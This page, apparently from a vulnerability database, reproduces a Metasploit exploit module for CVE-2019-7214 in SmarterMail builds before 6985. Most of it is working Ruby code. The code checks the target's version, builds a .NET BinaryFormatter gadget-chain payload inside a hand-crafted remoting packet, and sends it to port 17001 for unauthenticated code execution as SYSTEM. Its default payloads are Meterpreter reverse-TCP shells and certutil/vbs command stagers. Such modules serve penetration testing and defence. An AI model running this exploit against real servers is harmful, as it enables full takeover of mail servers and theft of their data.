Lucene search
K

SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution

🗓️ 11 Jul 2023 19:51:04Reported by Soroush Dalili, 1F98D, Ismail E. DawoodjeeType 
metasploit
 metasploit
🔗 www.rapid7.com👁 542 Views

SmarterTools SmarterMail <= build 6985 - .NET Deserialization Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SmarterMail Build 6985 - Remote Code Execution Exploit
9 Dec 202000:00
zdt
GithubExploit
Exploit for Deserialization of Untrusted Data in Smartertools Smartermail
20 Dec 202001:00
githubexploit
Circl
CVE-2019-7214
10 Jul 202323:19
circl
CVE
CVE-2019-7214
24 Apr 201900:00
cve
Cvelist
CVE-2019-7214
24 Apr 201900:00
cvelist
Exploit DB
SmarterMail Build 6985 - Remote Code Execution
9 Dec 202000:00
exploitdb
NVD
CVE-2019-7214
24 Apr 201915:29
nvd
Packet Storm
SmarterMail 6985 Remote Code Execution
9 Dec 202000:00
packetstorm
Packet Storm
SmarterTools SmarterMail Remote Code Execution
11 Jul 202300:00
packetstorm
Prion
Deserialization of untrusted data
24 Apr 201915:29
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in the SmarterTools SmarterMail
          software for version numbers <= 16.x or for build numbers < 6985.
          The vulnerable versions and builds expose three .NET remoting endpoints
          on port 17001, namely /Servers, /Mail and /Spool. For example, a
          typical installation of SmarterMail Build 6970 will have the /Servers
          endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where
          serialized .NET commands can be sent through a TCP socket connection.

          The three endpoints perform deserialization of untrusted data
          (CVE-2019-7214), allowing an attacker to send arbitrary commands
          to be deserialized and executed. This module exploits this vulnerability
          to perform .NET deserialization attacks, allowing remote code execution
          for any unauthenticated user under the context of the SYSTEM account.
          Successful exploitation results in full administrative control of the
          target server under the NT AUTHORITY\SYSTEM account.

          This vulnerability was patched in Build 6985, where the 17001 port is
          no longer publicly accessible, although it can be accessible locally
          at 127.0.0.1:17001. Hence, this would still allow for a privilege
          escalation vector if the server is compromised as a low-privileged user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Soroush Dalili',     # Original discovery and PoC
          '1F98D',              # ExploitDB author
          'Ismail E. Dawoodjee' # Metasploit module author
        ],
        'References' => [
          [ 'CVE', '2019-7214' ],
          [ 'EDB', '49216' ],
          [ 'URL', 'https://research.nccgroup.com/2019/04/16/technical-advisory-multiple-vulnerabilities-in-smartermail/' ]
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'x86/x64 Windows CmdStager',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_cmdstager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
                'CmdStagerFlavor' => 'vbs'
              },
              'CmdStagerFlavor' => %w[vbs certutil]
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2019-04-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9998, true, 'SmarterMail default HTTP port'),
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptInt.new('TCP_PORT', [true, 'SmarterMail default .NET remoting port', 17001]),
        OptString.new(
          'ENDPOINT', [
            true,
            'Choose one of three exposed endpoints: Servers, Spool, and Mail. Example - tcp://127.0.0.1:17001/Servers',
            'Servers'
          ]
        )
      ]
    )
  end

  def check
    print_status('Checking target web server for a response...')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    if res
      body = res.body
    else
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 && body.downcase.include?('smartermail')
      return CheckCode::Unknown('Target is not running SmarterMail.')
    end

    print_good('Target is running SmarterMail.')

    print_status('Checking SmarterMail product build...')
    product_build = body.match('stProductBuild.*\s\(')
    build_number = product_build.to_s.scan(/\d+/)[0] if product_build

    if product_build
      print_good("Target is running SmarterMail Build #{build_number}.")
    else
      print_warning('Product build not found. 16.x versions and below do not have a build number.')
    end

    if product_build && Rex::Version.new(build_number) < Rex::Version.new('6985')
      return CheckCode::Appears("Detected vulnerable version: #{build_number}")
    end

    print_status('Checking SmarterMail product version...')
    product_version = body.match('stProductVersion.*')
    version_number = product_version.to_s.split('"')[1] if product_version

    unless product_version
      return CheckCode::Detected('SmarterMail product version cannot be determined.')
    end

    print_good("Target is running SmarterMail Version #{version_number}.")

    if Rex::Version.new(version_number) <= Rex::Version.new('16.3.6989.16341')
      return CheckCode::Appears("Detected vulnerable version: #{version_number}")
    end

    return CheckCode::Safe("Target is not vulnerable based on version: #{version_number}")
  end

  def execute_command(cmd, _opts = {})
    uri = "tcp://#{datastore['RHOST']}:#{datastore['TCP_PORT']}/#{datastore['ENDPOINT']}"

    serialized = ::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TypeConfuseDelegate,
      formatter: :BinaryFormatter
    )

    preamble = '.NET'.unpack('C*')                         # Header
    preamble += [0x01]                                     # Version Major
    preamble += [0x00]                                     # Version Minor
    preamble += [0x00, 0x00]                               # Operation Type
    preamble += [0x00, 0x00]                               # Content Distribution
    preamble += [serialized.length].pack('I').unpack('C*') # Serialized Data Length
    preamble += [0x04, 0x00]                               # URI Header
    preamble += [0x01]                                     # Data Type
    preamble += [0x01]                                     # Encoding - UTF8
    preamble += [uri.length].pack('I').unpack('C*')        # URI Length
    preamble += uri.unpack('C*')                           # URI
    preamble += [0x00, 0x00]                               # Terminating Header
    data = preamble + serialized.unpack('C*')              # Data to Send
    final_payload = data.pack('C*')

    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => datastore['RHOST'],
        'PeerPort' => datastore['TCP_PORT'],
        'Proxies' => datastore['Proxies'],
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
        }
      )
      sock.write(final_payload)
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      print_error("Failed: #{e.class} - #{e.message}")
      elog(e)
    ensure
      sock.close if sock
    end
  end

  def exploit
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :windows_cmdstager
      execute_cmdstager
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jun 2026 19:03Current
9.2High risk
Vulners AI Score9.2
CVSS 39.8
CVSS 210
EPSS0.82619
542